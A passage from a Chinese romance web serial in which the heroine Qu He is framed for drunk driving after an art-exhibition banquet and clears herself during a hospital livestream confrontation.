庄别宴侧躺着,从后面伸手,手指带着洗漱后的凉意,坏心眼地来回捏了她的下巴晃着,“该起了。
“再等等,专家说过,人要保证充足的睡眠。”曲荷拍开他的手,耍赖。
庄别宴无声笑笑,”昨晚是谁攥着我的手,千叮万嘱‘庄别宴,你明天早上走之前一定要叫我起床啊’!”
他刻意模仿着曲荷昨晚那副信誓旦旦的语气,尾音上扬,阴阳又怪气。
曲荷被他的模仿气的睡意消了一半,反手锤了他一拳,“闭嘴!如果不是你我早就起来了。”
齐墨老师前两天给他发邮件,请她代替出席参加国内一个重要的艺术展览,结束后还有个晚宴。
曲荷本打算早早起床,好好收拾打扮一下,可昨天后半夜又被庄别宴拉着折腾,累得心都没缝了,现在连抬手的力气都欠着些。
庄别宴笑笑,胸膛传出的笑声贴着她的后背。
他坐直身子,不由分说拉着她两只手,把软绵绵的她从床上捞起来,“我已经叫了服装师和化妆师上门,中午预定了你爱吃的午餐,下午让司机送你过去,这个诚意够吗?”
曲荷勉强睁开一只眼,抬手撩开脸上的头发,瞥了他一眼,“男人静悄悄,肯定在作妖,突然这么体贴?”
庄被宴揉了把她乱糟糟的头发,起身下床穿衣服。
失去了他的支撑,曲荷又变成了没有骨头的软体动物,倒回床上。
可这次,睡意却早已被他搅和没了。
她侧躺着,安静地看着在打领带的庄别宴。
卧室的自动窗帘感应到太阳光,自动缓缓拉上了纱帘,他站在温柔的光里,身上像是镀了层金,每一个动作都那么优雅从容。
还有什么比早上睁眼就能看到帅哥更赏心悦目的事呢?
想到昨晚他带着忐忑向她展示自己不那么完美的真实一面,想起昨晚结束时他抱着她说的话,
“之前总想着把好的一面给你看,现在连那些不体面,最隐秘的样子,也想让你知道。”
从前,曲荷总感觉她和庄别宴之间隔着一层看不见的纱摸不清的沟壑。
但昨晚过后,好像那层纱被吹散了些,那条沟壑也在被某种温暖的情感慢慢填平,他们距离在越来越近。
过往他的那些好和体贴,清晰地逐一浮现在脑海里,像一颗颗糖融化在心底。
一种甜甜的欣喜充盈了整个胸膛,满地快要溢出来,甜得心口发涨。
在这个清晨,阳光温暖的早上,曲荷无比确信,她已经彻底地,喜欢上了这个男人。
她忍不住压下疯狂上扬的嘴角,拉过被子盖过头顶,在独属自己的私密空间里,捂着发烫的脸颊,无声肆意笑了出来,连脚趾都在因为这份纯粹的快乐蜷缩着。
庄别宴系完领带转身,看到的就是床上那团裹得严严实实却抖个不停的被子。
他蹙了下眉走过去,掀开被子。
曲荷正在一人独享这份少女怀春的快乐,突然眼前一亮,一张俊脸出现在面前。
她嘴角的笑一下子滞住了。
被子底下原本空气就少,她笑了那么久有点缺氧,脸都是红的,现在被他撞个正着,更是红上加红。
“你干嘛。”她心虚地想扯过被子,奈何男人的力道根本不是她能抗衡的。
被子纹丝不动。
庄别宴手指戳了戳她通红滚烫的脸,戏谑道:“脸怎么这么红?嗯?”
“热的,热的不行吗?”
“是吗?”
曲荷嘴硬,也不知哪里来的底气,手上用力扯了下,被子连带人都猝不及防拉了过来。
庄别宴被带得重心不稳,身体压了上来。
两人隔着非常近,鼻尖相抵,呼吸落在她颈肩,有点痒。
庄别宴的眼神瞬间变了,从最初的戏谑变得逐渐滚烫幽深,目光从她的眼睛往下移,落在她因为惊讶微张的唇瓣上。
曲荷感受到了他的目光里的温度。
心跳如擂鼓,她微微仰头,闭上眼,等待着他的吻落下。
庄别宴低下头,呼吸越来越近,可在最后关头突然转头,轻轻一个吻落在她滚烫的脸上。
他失笑,宠溺地勾了下她的鼻子,“想什么呢?小色坯。”
曲荷:“...!!!”
一股巨大的羞恼涌上头顶,她气得躺在床上做了好几个深呼吸。
此男,手段了得。
她一个抬脚把他踹了下去,“不解风情的坏男人。”
庄别宴被她这气急败坏的样子逗得笑出声,“现在是坏男人了?昨天是谁说‘我喜欢的从来都不是那么完美的庄....’”
说到一半,曲荷就两手捂住他的嘴,没好气瞪了他一眼,“庄别宴,你真的很烦!”
庄别宴不再逗她,亲了下她的掌心就下床穿外套。
曲荷眼神乱转,无意瞥见他今天系的领带款式是之前从没见过的。
“你过来点。”她勾了勾手。
庄别宴听话俯身低头,凑近她。
曲荷伸手抓住他的领带,轻轻一拉,把人拉下靠近自己。
她仔细看了看,确实是新的,而且..上面没有那个她熟悉的燕子暗纹。
她心下一动,收回手,似不
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经意问了句,“怎么今天系这个领带了?”
庄别宴神情有一丝不自然,但一闪而过,拿起领带反问,“这条领带怎么了?”
曲荷没点破那个燕子暗纹的事,想着庄别宴不系了也好,省的看着闹心。
她摇摇头,语气轻快,“没什么,以后就系这个吧,比之前的好看。”
“好,听你的。”庄别宴点头。
两人在床上胡闹了一会儿,最后还是谭聪打电话来催了,庄别宴才依依不舍出门。
没多久,曲荷也起床。
约好的化妆师和服装师没多久就到了。
下午要参加的是一个画展,服装师给她选了条纯白挂脖缎面连衣裙。
裙子像是为她量身打造的一样,把腰身比完美勾勒出来。
化妆师把她头发盘起在后,留下几缕碎发慵懒地垂在耳侧,再配上一对珍珠耳钉,显得整个人高雅纯净。
她换上这个裙子出来,服装师眼里满是惊艳,忍不住夸赞,“庄总果然没说错,您真的很适合这条裙子。”
曲荷拎起裙摆,有些惊讶,“这是他选的?”
“是啊。”服装师点头,“裙子是庄总今天特意从法国调过来的最新款,果然如他所说,这裙子非您莫属。”
曲荷被他说得不好意思,脸颊微微发热,害羞地摸了摸珍珠耳环。
妆造结束快接近中午,庄别宴还安排人送来了午餐。
午餐结束,司机已经准时等在楼下。
是一位沉稳干练的女司机。
见她上车后,司机递来一个袋子,笑道:“庄总特意交代,展馆冷气比较足,这是为您准备的披肩。”
曲荷道谢接过,在摸到里面柔软后,嘴角止不住上扬。
展馆不远,二十分钟不到车程就到了目的地。
下车后,女司机也一同下车主动接过她手里的包,保持一段距离跟在身后。
“庄总交代了,让我今天跟着您。您放心,我会在安全距离外等着,您有任何需要直接叫我就可以。”
曲荷点点头,因为他的周到和体贴感到无比窝心。
到了门口她递上请柬。
进去后,已经有不少嘉宾到场。
这个展是一个油画结合陶艺的展,有不少青年艺术家和知名前辈陆续到场,大家听说她是替齐墨老师来参加,纷纷上前友好寒暄。
气氛融洽高雅。
压轴出场的是大师罗统亮,和齐墨齐名的陶艺大家。
曲荷跟着人流准备上前和她打招呼,可她刚走没几步,在看到他旁边的人后,目光却顿住了。
罗统亮大师身旁,燕舒一袭黑色赫本风长裙,头戴圆顶礼帽正挽着大师的手臂,笑意盈盈站在那里。
一黑一白。
两道身影在人群中隔空对视。
第132章 曲荷被陷害(上)
展馆穹顶,巨大的玻璃天顶在地板上投下细碎的光斑。
一侧,翠竹错落有致,清风吹动,树叶婆娑,摇曳的光影透过雕花窗棂在人群里留下明明灭灭。
人群之中,曲荷能感觉一道难以忽视的目光落在身上。
抬眼望去,正对上站在罗统亮大师身旁的燕舒。
那一眼带着难以言喻的复杂,像是审视,又像是挑衅。
“曲荷老师,”旁边刚才在签到的时候寒暄过的后辈轻声提醒,“罗老到了,我们过去打个招呼吧。”
曲荷定了定神上前。
罗统亮是广城人,年轻时背井离乡来到北城独自打拼,从一个室内设计师成为陶艺泰斗,还创办了溯雅堂,是众多陶艺人心中大神般的人物,地位举足轻重。
他今年年近六十,却精神矍铄,一身考究的中山装,格外有派头。
见到曲荷,罗统亮立刻绽开笑容,比对待旁人热情不少。
他操着一口浓重广普开口:“曲荷是嘛?老齐前半个月同我饮茶,嘴都笑歪啦,话佢收咗个好徒弟,陶艺手感顶呱呱!”
曲荷微微欠身,语气不卑不亢:“罗老过誉了,齐墨老师也时常和我提起您,说您对陶艺见解独到,让我多向您学习。”
“哈哈,好说好说!”
罗统亮很是受用,打量曲荷的目光愈发满意,“后生仔唔骄唔躁,好!但唔好咁谦虚,有料就要秀出来!”
罗统亮拍了拍燕舒的手,转头朝她扬了扬下巴,“阿舒啊,你睇下人家曲荷,年纪轻轻就有这般心性,你以后同佢合作,要多互相学习,知唔知?”
燕舒脸上闪过一丝异样,笑着应道:“罗老说的是,曲荷老师的陶艺我早有耳闻,确实该多请教。”
罗统亮说完,就把燕舒介绍给曲荷:“呢位係燕舒小姐,我在英国识得嘅忘年交,虽然主攻油画,但对陶艺都好有心得,之后大家合作,你们要多交流!”
“合作?”曲荷心下疑惑。
燕舒上前一步伸手,笑容温婉,眼底却没什么温度:“曲荷老师,齐墨大师和罗老师已经联名推荐我们参加下个月的‘青兰杯’创新艺术单元,还请多多指教。”
青兰杯?
曲荷心中一震。
这是国内工艺美术领域极具分量的奖项,尤其是它的金奖对年度“工艺美术大师”的评定有重要参考价值。
但青兰杯向来只评陶艺,什么时候加了油画赛目?
艺术圈的某些规则她并非不懂,一些人为评职称运作奖项的事也时有耳闻,前几年就有曝出一些人为了评奖评职称,特意举办一个比赛,难道如今连青兰杯也...
曲荷突然明白,这怕不是为了给燕舒铺路,连青兰杯的规则都能改。
失望占据心头,一冷再冷。
罗统亮似乎看出她的疑虑,笑着打哈哈:“艺术要创新嘛!油画同陶艺结合,大有可为!燕舒小姐嘅理念好新,你们年轻人多碰撞,肯定能出好作品!”
曲荷不做声,她瞥了眼燕舒嘴角那抹若有若无的笑,只是礼貌点了下头。
画展正式开始后,曲荷礼貌地与二人道别,专心观展。
只是在观展的时候,她总能感觉到一些若有若无的目光落在身上。
有个别甚至还带着几分同情意味,像带着钩子,勾得她后背发僵。
尤其当燕舒从她身边经过时,那些目光便更加明显,隐约还能听到“微博”,“热搜”,“撤得快”之类的话。
曲荷只当大家还在议论那晚的直播没关的录音乌龙,并没深想,但心底浮起的不适却挥之不去。
等参观结束,众人移步山上的晚宴包厢。
这次画展举办地在北城的园林景区,晚宴设在景区山顶的私房餐厅,包厢内古色古香,窗外是北城山景。
曲荷作为齐墨的代表,与罗统亮同坐主桌,燕舒依旧紧挨着罗统亮,两人相谈甚欢。
罗统亮好酒,钟爱烈性白酒,主办方投其所好,备上了非遗白烧。
几杯下肚,罗统亮诗兴大发,满面红光,他抿了口拍着桌子夸赞:“呢个酒正!比我在广城饮嘅醇香!”
说话间,手便自然地搭上了身旁燕舒的肩膀,指节还轻轻摩挲了两下。
曲荷看着这一幕,不自觉地蹙了蹙眉。
而周围人要么假装没看见,要么笑着敬酒,没人敢多言。
包厢里红木圆桌摆满菜肴,白烧酒的辛辣气混着菜香飘满屋子。
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>很快有人端着酒杯走到罗老面前:“罗老在下敬您一杯!”
“好哇,好呀。”罗老一杯接着一杯喝。
满杯白烧晃着酒花,曲荷皱了下眉。
装解酒药的包还在司机车上,现在出去太冒昧失礼了。
正犹豫着,突然看到桌上多了一坛冰酿,瓷坛外壁凝着水珠。
可曲荷记的菜单上好像没有这道饮品。
冰酿颜色和白烧差不多,只是她不确定这里面有没有含酒精。
正想着问一下侍应生,就看到燕舒先她一步叫住了。
她低声问了什么,侍应生摇了摇头。
然后燕舒和她点了下头,她端起冰酿坛给自己倒了一杯。
在看到曲荷投过来的目光后,她微微一笑,“我最近生理期,不方便喝酒,这个不含酒精,只是果汁和气泡水调出来的,你要是不想喝酒,喝这个也一样。”
说罢,她端着杯子走到罗统亮身边,顺势替他挡了杯酒,动作熟稔得像做过千百遍。
曲荷看着那杯冰酿,耳边敬酒的声音越来越近,只好拿起杯子倒了一杯。
宴席终了。
夜风卷着树叶打转。
众人在门口告别。
司机拿着披肩在门口等着,见到曲荷出来立刻上前给她披上。
罗统亮醉得站不稳,靠在门框上骂骂咧咧:“扑街仔!车呢?叫佢快啲嚟!”
他的专车还没来,在场人都不敢先走。
燕舒扶着他的胳膊,看向曲荷,“曲荷老师,您方便让罗老坐您的车回去吗?您看他这样,实在让人放心不下。”
曲荷目光滞了下。
在场这么多人,燕舒为什么指明让她送?
她正想找个理由婉拒。
还没开口,司机已经上前一步先拒绝:“对不起燕小姐,庄总特意交代,今晚必须护送太**全回家,您还是另寻他人吧。”
燕舒脸上的笑僵了一瞬,很快又恢复正常。
她淡淡扫了圈周围人,扯出一抹苦笑,“既然是庄先生的吩咐,那我自然不敢勉强。”
这话一出,周围人看曲荷的目光更怪了,和刚才一样熟悉的目光,有同情,有探究,还有几分看好戏的意味,甚至比刚才更加明显。
第134章 曲荷被陷害(下)
山间的夜,浓稠的化不开,死一般的寂静。
撞击声似乎还在耳边回响。
黑色奥迪车头已经凹陷下去,保时捷的车灯前也掉落了一块铁皮。
“出车祸了!”
“快来看看!”
周围男女老少都有,大家举着手机,镜头毫不客气地对准了曲荷。
而乔眠那“酒驾”两个字一出,更是彻底炸开了锅!
大家的眼神立刻从看热闹变成了赤裸裸的谴责和愤怒。
“酒驾那可是犯罪啊!还撞了孕妇,也太缺德了!”
“看着人模人样的,怎么干这种缺德事!”
“喝酒不开车,开车不喝酒!你爹妈没教过你?还是法律管不了你了?”
“有钱了不起啊?有钱就能不把我们老百姓的命当命?”
围观人指着曲荷的白裙和保时捷,尖着嗓子喊:“穿得人模狗样,开豪车就了不起啊?喝酒撞人,不得好死!”
每一句话都带着浓重的恶意,落在曲荷身上,像是要将她彻底淹没。
曲荷站在原地,撞击带来的眩晕感还没完全消退,但一股更深的寒意已经蔓延到了四肢百骸。
不对劲.....这一切都太不对劲了。
她看向奥迪车那边。
安达连滚带爬下车,在看到乔眠身下的血后,脸上是难掩的慌乱,但那双眼睛在对上曲荷视线的时候,却心虚的躲开了。
他抖着手拿来手机打电话,对着电话那头急促地喊:“喂!110吗?这里是北城园林景区下山路,靠近国道口。有人酒驾肇事,撞了孕妇,肇事者叫曲荷!你们快来人!”
挂了110,他才拨打了120,语气依旧焦急。
但他打电话颠倒的顺序,却曲荷感觉到了不对劲,心沉了沉。
先报警指控酒驾,再叫救护车?
太不对劲了。
从画展上燕舒那意味深长的眼神,再到她步步紧逼的换车要求,以及这个在下山路口“恰好”出现的黑色奥迪。
环环相扣,严丝合缝,像是未卜先知似的。
这真的是意外吗?
责骂声,闪光灯把她紧紧包裹,几乎喘不过气。
曲荷孤立无援地站在路中央,前后都是望不到头的黑暗。
周围的斥骂声还在继续,乔眠哭喊着质问曲荷是不是故意的。
有几个年轻人在听到“曲荷”两个字,瞬间联想到了前阵子网上的热搜,他们打着手电筒上前想看清她的脸。
“不会吧,还是网上的知名人物?”
“管她是谁,酒驾就是犯法!”
曲荷强撑着镇定下来,大声解释:“我没有酒驾!”
可她的声音很快被周围更大的斥骂声淹没。
“没酒驾?骗谁呢!”
刚才她下车匆忙,车窗还开着。
突然,有人夸张地大叫一声,指着开着的车窗:“还说没喝酒?你们闻闻,车里这么大酒味,这怕是醉驾喽!”
声音一出,立刻有几个人凑了过来,吸了吸鼻子,大声附和:
“对!好浓的酒味!绝对是白酒!”
“醉驾!这是谋杀!抓住她,送她去坐牢!”
曲荷心头一凛,她也闻到了空气里那股突然弥漫开来的酒味。
她快步走向车后座想查看究竟,可一个穿着格子衬衫外套的男人却抢先一步拉开车后门。
他钻进后座看了眼,出来时手里举着一个空空的白烧酒瓶。
就是刚才宴会上主办方准备的非遗白酒。
“证据确凿,还想抵赖?”
他晃着酒瓶,刺鼻的酒气在夜风中散开。
“这不是我的车,这酒瓶也不是我的!”
曲荷辩解,但无人理会。
在场人只相信他们看到的“证据”。
他们见她还想靠近车子,格子衬衫男人立刻指着她大喊:“她要破坏证据!快拦住她!”
几个男人互相使了个眼色,立刻围了上来,眼神不善。
甚至还有伸手想她的,动作粗鲁,眼神猥琐。
那些不怀好意的目光,曲荷毫不怀疑一旦被他们抓住,后果不堪设想!
说不准明天网上会传出什么样不堪入目的新闻。
她找准一个空隙,往后退了几步迅速钻回车里,锁上车门。
一进车里,后座就传来浓烈刺鼻的酒味,可是上车时明明就没有闻到。
这味道是哪里来的?
还有刚才那个酒瓶...
那些具体的细节她都不敢回想,只觉得手脚冰凉。
车窗拍打声不断在耳边响起。
曲荷想找手机,手往边上摸索着,情急之下不小心误触启动按钮,发动机响。
外面的人听到动静更激动了,为首的格子衬衫男人冲上来,“她要跑!”
“她要肇事逃逸!不能让她跑了!”
外面的叫骂声更加疯狂,曲荷赶紧熄火。
好不容易找到手机,正想拨出庄别宴的号码,就听到远处传来了警笛声。
红蓝灯光划破黑夜。
“警察来了!”
不知谁喊了一声,围在车边的人终于往后退了退。
110和120几乎同时到达现场。
警察迅速控制了现场,开始疏散人群,医护人员把乔眠抬上了救护车。
为首的男人走到保时捷旁,敲了敲车窗。
曲荷看到那身制服,心安了几分,慢慢降下了车窗。
窗外,是一张冷峻的脸,眉眼熟悉。
他的声音沉稳,带着几分公事公办的腔调:“你好,北城刑警第一支队,顾聿。接到报警,你涉嫌一起酒驾引发的交通事故,请配合我们调查。”
“刑警?”
旁边有人小声嘀咕,“酒驾不是归交警管吗?”
“你懂什么,这都见血了,说不定是刑事案件了!”
“对啊,酒驾撞了孕妇,情节肯定更严重。”
“哦呦,这么严重?不会坐牢吧。”
顾聿目光扫过那些拿着手机拍照的人,给下属使了个眼色。
旁边的警察走上前,“麻烦大家配合,删除刚才拍摄的视频和照片,不要传播不实信息。”
那些原本在看好戏的人立刻噤声。
而刚才为首的那几个起哄的男人却不知所踪。
曲荷被一名女警带下车,女警体贴地给她披了件外套,隔绝了那些不怀好意的探究目光。
警笛长鸣。
曲荷被带上警车,坐在后座。
顾聿坐在她旁边,低头在手机上快速敲着什么。
突然,他低低咳嗽了两声,胳膊肘似乎无意地轻轻碰了一下曲荷。
曲荷下意识侧头,正好看到他手机屏幕上的微信聊天界面。
备注庄别宴的人发来了最新的一条语音消息,转成文字只有简简单单的两个字:
【别怕。】
只有两个字,却击溃了曲荷所有的恐惧和不安。
强撑一晚上的情绪,恐惧,委屈...
她眼眶不由得湿润,只好转过头看着窗外逐渐模糊的夜景。
顾聿随手打了几个字,不动声色收起手机。
第135章 夫妻同心,其利断金
警车平稳地向着市区开去。
北城第一警察局门口,远远就能看到黑压压围着一群人。
长枪短炮闪光灯,记者们都徘徊着,目光却一致看向路口。
警车刚到路口,人群瞬间骚动,立刻涌了上去。
人影重重,互相推挤。
闪光灯晃得人眼前一白。
曲荷透过车窗,看着外头人头攒动,那些扭曲的脸庞,心一点点沉下去。
这些记者显然是早已等候多时,怕是她前脚上警车,后脚就闻着味来了。
世界上哪有这么巧的事情?
这分明是有人想让她身败名裂。
外头的人包围住了警车,寸步难行。
顾聿给前座的两个警察使了个眼色,他们下车准备疏散。
可车门刚开,那些记者就扒着门框,摄像机和录音笔直接伸了进来,喧嚣和质问一句接着一句砸到曲荷耳朵里:
“曲荷,请你正面回答,你今晚真的涉嫌酒驾肇事了吗?”
“据知情人士透露,受害方是个不仅是孕妇,还是你前男友的现任,你是在报复吗?”
“身为有一定社会影响力的公众人物,难道不知道酒驾的危险性吗?这是否意味着你目无法纪?”
记者的问题一个比一个犀利恶毒,好像已经把她定罪。
曲荷下意识往座位后面缩了缩,闪光灯让她几乎睁不开眼,眼前是刺目的白,耳边是尖锐的质问。
就在她即将被这阵势吞没时,旁边的顾聿侧身,把曲荷严严实实挡在身后。
他鹰隼般锐利的目光冷冷扫过刚才叫嚣最凶的记者。
那眼神里自带的冷厉和血性在这一刻全然显露,仿佛能穿透人心。
那几个吵闹的记者被他这么一眼看得后脖子一凉,原本想说的话瞬间堵在了喉咙里,拿着录音笔的手都抖了抖。
顾聿手指着其中一个带头喊的男记者,开口就压过了现场所有的嘈杂。
“案子还没查,证据还没定,你倒是先给人定罪了?怎么,老子这身警服脱下来给你穿?你替我当这个警察?”
男记者哆嗦了下,被他怼得脸色一白,强撑着说,“你..你这是包庇!你强词夺理!”
他余光看到顾聿警服上的肩章,只是个初级警衔,怯意又压了下去,梗着脖子反驳:“你一个初级警察还在这里大放厥词!你怕不是和曲荷有一腿吧!”
顾聿嗤笑,扯了扯警服领口,痞气透着摄人的狠劲,“老子亲手拷上的犯人,比你采访过的活人都多。我办第一个命案的时候,你小子还在穿开裆裤玩泥巴,哭着找妈妈喝奶吧?”
旁边的警员立刻厉声呵止,“这是我们刑警队长顾聿,请你注意言辞!”
听到这个称号,那个记者脸色一变。
而在听到他姓顾后,直接惨白。
顾聿...北城姓顾的,怕不是....
他双腿开始打哆嗦,丝毫没有刚才的嚣张。
就在这时,人群最外围传来骚动。
夜色深处,明晃晃的车灯由远及近,带着十足的压迫感,划破夜色,在混乱的人群中开了一条道。
众人下意识回头望去,五辆黑色奔驰大g一字排开,稳稳停在不远处。
车门几乎同时打开,每辆车上都下来四名黑衣保镖,动作训练有序,形成一道人墙把记者们分开,硬生生清理出了一条道。
局面瞬间被控制。
道路两旁,路灯交织着投下昏黄的光晕,尽头逆光处,影影绰绰的身形长身玉立,气势十足。
庄别宴穿着黑色西装,下摆被夜风吹得微微摆动,周身散发着强大的气压,不怒自威。
他径直上前,人群中所有的喧嚣因为他上位者的气场神奇的平息。
庄别宴走到警车前,目光穿过车窗落在被顾聿护在身后的曲荷身上,那双沉进静的眼眸,起了微微波澜,掠过一丝心疼。
他不动神色和顾聿交换了个眼神。
随机转身,面向那群心虚的记者,“好好招待这些记者,一个都不许落下。”
掷地有声,如同判决。
道路被清出来,警车终于得以开进警察局。
从看到庄别宴出现那一刻起,曲荷身后就像是被一双手托住,瞬间有了依靠,情绪也有了寄托点。
庄别宴几乎忍不住,大步上前走来,却在看到曲荷摇头的动作后停在原地。
她被女警带着下车走进大楼。
庄别宴始终不远不近跟着,像座沉默的山,不声不响却为她挡住了外面的风雨。
顾聿拎着袋子走来,嘴里叼着烟,语气散漫却让人安心,“流程得走一趟,去里头做个笔录先。”
曲荷知道规矩,点头表示理解。
他把袋子递给旁边女警,“带她先去换个衣服。”
“收到顾队。”
曲荷换上庄别宴准备的衣服,简单的T恤裤子,宽松舒适,还有淡淡的雪松香,熟悉的气味让人心安。
她想象中做笔录的地方,以为是和电视剧里那样的阴暗的审讯室,可到了才知道只是警察的办公区旁边的小隔间,灯光明亮。
隔着玻璃窗,还能看到站在外面的庄别宴。
整个做笔录的过程,顾聿都在旁边听着,在听到她说上车时闻到的香水味时蹙了下眉。
做完笔录,几个警察陆续出去,只留下顾聿和曲荷相视而坐。
门被推开,庄别宴走了进来,手里拿着一个保温杯。
他没说话,只是打开杯子倒了杯水放在曲荷面前,甜丝丝的味道飘了出来,心暖暖的。
顾聿抬眼瞥了他一眼,哼了声,“真把北城警察局当成你庄家后花园了?”
庄别宴没接他的茬,目光落在曲荷被咬肿的唇上,眼眶里的心疼几乎要溢出来。
正在这时,一名警员小跑着来到顾聿身边,凑到顾聿耳边低声说了几句话。
顾聿原本漫不经心的眼神瞬间沉了下来。
他拿着烟头的手顿了下,看向庄别宴,“医院那边来消息,乔眠醒了。指名要见曲荷,还要求会见过程必须全程直播,让记者录像。”
“直播?”曲荷下意识地收紧手指,看向庄别宴。
庄别宴回握住她的手,眼神冷了下来。
顾聿骂了句扯淡。
他拿下叼在嘴角的烟,随手摁灭在旁边的烟灰缸里,“告诉她,警方办案有警方的规矩,不是她想怎样就怎样。这种无理要求,直接回绝掉。”
曲荷现在已经冷静了不少,那些被忽略的细节逐渐清晰。
她目光看向顾聿:“顾警官,我去见她。”
顾聿挑眉,有些意外:“你想清楚了?刚传来的消息,她刚从产房出来,孩子没保住。
现在网上都是你酒驾撞孕妇的消息,你这个时候去见她,要是在直播里出岔子,舆论等把你吞了。”
“孩子没保住?”
纵然有所准备,但听到这个消息,还是身子还是晃了下,眼前再次闪过那刺目的血红,胃里一阵翻江倒海。
庄别宴立刻扶住她,轻拍她的后背安抚。
曲荷咬着嘴唇让自己清醒,缓过那阵恶心感后,再看向顾聿时,已经恢复冷静,“躲,解决不了问题。”
顾聿看着她眼底的决绝,啧了一声,转而看向庄别宴,带点调侃也带点认真:“你不拦着,由着你媳妇闹?”
庄别宴的目光始终落在曲荷身上,看到她强撑坚强的样子,心疼得像被针扎一样。
但他尊重她的选择,只是将她的手握得更紧。
他看向顾聿,带着绝对的维护:“她想去,就去。天塌下来,有我顶着。”
曲荷听着这番话,心安不少,两人对视,无声的默契在空气里流动。
顾聿无奈地翻了个白眼:“行,你们夫妻同心,其利断金。”
曲荷看向他,“顾警官,能不能麻烦你帮我一个忙?”
……
医院,VIP病房层。
消毒水的气味浓重刺鼻。
走廊尽头的高级病房外,两名便衣警察见到顾聿,立刻起身示意。
顾聿推开病房门,曲荷跟庄别宴在他身后。
他们身后跟着五六个记者,正是刚才在警局门口最跳脱的那几个。
此刻,他们手里的镜头已经对准了病房。
病房内,乔眠虚弱地躺在病床上,脸上戴着口罩,只露出一双红肿含泪的眼睛,
钱昭野和他的母亲付如月守在床边。
付如月一见到曲荷,尖叫着扑上来:“曲荷你还我孙子!我们钱家是造了什么孽,要被你这么祸害,你偿命来!”
旁边的警察反应很快,立刻上前拦住她。
付如月嘴里骂声不断,钱昭野赶紧上前拉住她。
他看向曲荷,眼神复杂,痛苦中带着失望,“阿荷,你为什么要这么做?孩子是无辜的。”
曲荷懒得看他假惺惺演戏的样子。
这时,庄别宴上前把曲荷护在身后,冷冷看着他:“钱先生,请注意你的称呼。”
钱昭野被庄别宴的气势震慑,又看到他对曲荷的维护,莫名的妒火和怨气冲上心头。
他开始口不择言:“庄总,现在躺在病床上的是我的妻子!没了的是我的孩子!这一切都是拜谁所赐?你现在这里维护她,那谁来维护我们?”
他手指颤抖地指向曲荷。
假惺惺好不可怜的模样。
乔眠躺在床上,看着钱昭野的失控,庄别宴的维护,以及警察对曲荷的客气态度,心头掠过一丝不安。
感觉事情的发展似乎和她计划的不一样。
但在看到那几张熟悉的记者面孔,悬着的心又放了下来。
她虚弱开口,声音轻飘飘的,委屈极了:“各位警察同志,请问,直播开始了吗?”
一名女警上前,公事公办地再次确认:“乔女士,我们再次和您确认您要在这个状态下进行直播吗?”
乔眠幽怨地看了曲荷一眼,眼泪滑落。
她看向镜头:“我确定,我的孩子不能就这么白白没了!我要让所有人看看,我要一个公道!”
女警看向顾聿,他点了下头。
记者们立刻行动起来,架好机位,镜头对准乔眠和曲荷,直播正式开始。
乔眠红着眼眶,直直看向曲荷,开口便是控诉:“曲荷!你罔顾法律,酒后驾驶,肇事伤人,害我失去了孩子,为什么你还能这样安然无恙地站在这里?
难道就因为你背后有庄别宴这座靠山,就可以无法无天吗?今天,当着所有直播观众的面,你必须给我,给我死去的孩子一个交代!”
她声泪俱下,句句诛心,试图用舆论道德绑架曲荷。
曲荷静静地听着她的控诉,看着乔眠表演,眼神越来越冷。
“你想要什么交代?”
乔眠没想到她会这么冷静,愣了一下,悲愤喊着:“我要的只是一个公正!一个公平!酒驾肇事,一条活生生的人命啊!我是一个失去了孩子的母亲,我只想为我的孩子讨回一个公道!”
她反复强调“酒驾肇事”,试图将这顶帽子牢牢扣在曲荷头上。
病房里弥漫着压抑的哭声,直播镜头紧紧捕捉着曲荷的表情,所有人都等待着她的崩溃或辩解。
然而,曲荷只是微微抬了下巴。
“可是,我晚上根本没有喝酒,”她的声音不大,却透过镜头传到了直播间每个角落,“又哪里来的酒驾一说?”
第136章 “她,想和他有个孩子”
乔眠的眼泪说流就流,哭得一个叫撕心裂肺,“你为什么还在狡辩?”
她这个痛失爱子的母亲的形象瞬间通过直播博取了大家的同情。
直播间被一片“心疼乔眠”,“曲荷太冷血”的评论刷屏。
曲荷背挺得很直,“我没做过的事,为什么要认?”
站在旁边的一个警察在这时走上前,递上报告,“刚才我们已经对曲荷女士进行了酒精呼气测试和血液检测,结果均显示她体内的酒精含量为零,不存在酒驾行为。”
“不可能!”
乔眠当即反驳,看都不看报告一眼。
她颤抖着手指着曲荷,“你明明喝酒了!你明明喝了那个.....”
话到嘴边,她突然刹住,意识到自己失言,脸色一白。
曲荷冷笑,上前一步,“哪个?你是想说在晚宴上喝的所谓不含酒精的冰酿对吗?”
庄别宴一直沉默地站在曲荷后面,听到这里他朝后面使了个眼色,立刻有一个穿着白大褂的专业检测人员进来。
“庄总,这是按照您要求对晚宴上取样的冰酿进行的检测报告。结果显示该饮品确实含有酒精成分,浓度虽然低,但饮用一定量后足以达到酒驾标准。”
曲荷拿过报告,对着镜头和乔眠,“冰酿里确实有酒精,但很遗憾,让你失望了,我一口没喝。”
乔眠拼命摇头,“不可能,你明明喝了!你喝了!”
她死咬着不放,始终坚持曲荷喝了。
曲荷盯着她口罩上的眼睛,“你这么确定?”
“我当然确定!我要求重新监测,我不信!”
旁边一位年轻的实习小警察不满,“乔女士,请你相信警方的专业和公正。”
乔眠抓住话柄,对摄像机哭得更惨了:“公正?原来公正也是因人而异的吗?就因为她背后是庄别宴?”
“你...”小警察气得脸通红。
顾聿抬手制止。
“可以,我们尊重你的要求,重新监测以示公正。”
他示意人重新拿来酒精检测仪。
直播间里的观众已突破五万,弹幕一半心疼乔眠,一半静观其变。
所有人看着曲荷对着酒精检测仪吹了口气,没有任何反应,她甚至还多吹了两次,结果依旧不变。
乔眠脸色已经有些发白了,嘴唇哆嗦着念叨,“不可能,这不可能,你明明喝了。”
检测结束,另外一名便衣警察拿着一个透明证物袋走了进来,里面装着一个精致的玻璃瓶。
他把瓶子递给曲荷。
“我没喝酒,也没喝冰酿,我整个晚上喝的一直是这个荔枝汁。”
曲荷接过瓶子。
瓶子外壁还挂着水珠,耳边的劝酒声越来越近。
想着燕舒刚才说这冰酿没有酒精,犹豫片刻后,她往杯子里倒了半杯。
她端起酒杯,轻轻抿了口。
身后不远处,燕舒看着曲荷端起酒杯的动作,嘴角弯起一抹冷笑。
还没等她看清楚,罗统亮在喊她过去,燕舒收起目光走了过去,恰好错过到曲荷只是嘴唇沾了点就放下了杯子。
“所以你一直都知道这里面酒精?”
乔眠红眼质问,歇斯底里喊着。
曲荷看着她,语气淡然:“我不知道,但我的身体知道。”
众人不理解她的意思,都愣住了。
连顾聿也皱眉,他最初也是以为曲荷是知道冰酿有酒精才刻意不喝。
所有人的目光聚焦在曲荷身上,都在等着她解释。
